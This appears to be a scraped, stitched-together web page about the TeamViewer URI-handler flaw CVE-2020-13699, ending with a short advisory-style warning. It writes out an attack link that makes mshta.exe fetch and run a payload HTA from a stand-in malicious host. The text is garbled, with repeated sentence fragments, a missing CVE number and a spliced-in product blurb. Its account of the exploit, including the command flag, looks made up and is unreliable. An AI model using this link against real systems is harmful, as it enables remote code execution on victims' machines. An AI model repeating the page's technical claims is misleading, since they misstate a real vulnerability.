Geoff Chappell - Software Analyst
This code creates a simple HTA file that prompts the user to enter a TeamViewer ID and password. When the user clicks the "Connect" button, it uses the TeamViewer command-line interface to connect to the remote computer.
An attacker creates a malicious website or sends an email containing a specially crafted link: teamviewer14:// --inject-extension-command 'C:\Windows\System32\mshta.exe' 'http://malicious-site.com/payload.hta' 7 hta teamviewer
The vulnerability, officially tracked as , affects TeamViewer versions prior to 14.7.1965. It exploits the way TeamViewer registers its URI scheme handlers on Windows operating systems, allowing an attacker to execute arbitrary commands on a victim's machine via a malicious link or website. This code creates a simple HTA file that
Enables secure access to computers and Android devices without a user present to approve the connection. It exploits the way TeamViewer registers its URI
The vulnerability highlighted by the topic "7 hta teamviewer" (CVE-2020-13699) serves as a critical reminder of the risks associated with URI scheme handlers and argument injection. While TeamViewer has released a patch, legacy versions of the software remain vulnerable. Organizations must ensure that remote access tools are strictly updated and that defense-in-depth strategies are employed to mitigate the risk of initial access vectors such as this.